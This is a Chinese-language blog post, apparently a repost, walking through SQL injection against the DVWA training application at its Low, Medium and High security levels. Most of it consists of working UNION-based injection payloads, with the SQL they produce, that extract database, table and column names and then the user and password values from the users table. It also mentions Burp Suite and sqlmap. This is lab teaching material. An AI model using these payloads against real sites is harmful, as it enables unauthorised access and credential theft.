SQL Injection

叁歲伎倆 2022-01-12 12:53 285阅读 0赞

Low级别

判断是否存在注入点

输入1提交

1208477-20190620151644249-25146317.png

输入1 and 1=1提交

  1. SELECT first_name, last_name FROM users WHERE user_id = '1'

1208477-20190620151718075-504575920.png

1208477-20190620152154429-641223537.png

输入1 and 1=2提交

1208477-20190620151839607-1327817825.png

1208477-20190620152133855-1942951341.png

由上可以看出是存在注入点的,参数为id

  1. SELECT first_name, last_name FROM users WHERE user_id = 'id'

利用漏洞获取信息

获取当前库名

1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

  1. 1' union select 1,database()#

1208477-20190620152547259-1729325797.png

实际执行sql

  1. SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database()#'

根据库名获取所有表名

1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

  1. 1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#

1208477-20190620154821787-1657717800.png

底层执行sql

  1. SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#'

根据表名获取表的列

1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

  1. 1' union select 1,column_name from information_schema.columns where table_name='users'#

1208477-20190620155149987-544883771.png

底层执行sql

  1. SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,column_name from information_schema.columns where table_name='users'#'

获取数据

  1. 1' union select1,concat(user,password) from users#

1208477-20190620155444297-110727956.png

底层sql

  1. SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,concat(user,password) from users#'

Medium级别

此时限制用户输入,只允许手动选择,并且代码中加入检测单引号机制,如果有单引号会默认在前面加上一个反斜杠/

1208477-20190620155815414-979506586.png

可以用hackbar试一下或者用burpsuite抓包试一下,并且不再用’

查询当前库

  1. 1 union select 1,(select database())

1208477-20190620170255418-1322086893.png

底层sql

  1. SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,(select database())

查询所有表

  1. 1 union select 1,table_name from information_schema.tables where table_schema=(select database())

burp拦截到请求send to Repeater。

1208477-20190620165647530-991402280.png

底层数据sql

  1. SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,table_name from information_schema.tables where table_schema=(select database())

High级别

高级和初级是一样的,只不过加了limit 1和弹框

工具的使用

使用工具Sqlmap

转载于:https://www.cnblogs.com/aeolian/p/11058938.html

发表评论

表情:
评论列表 (有 0 条评论,285人围观)

还没有评论,来说两句吧...

相关阅读

    相关 SQL Injection (Blind)

    Low级别基于布尔的盲注思路 1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据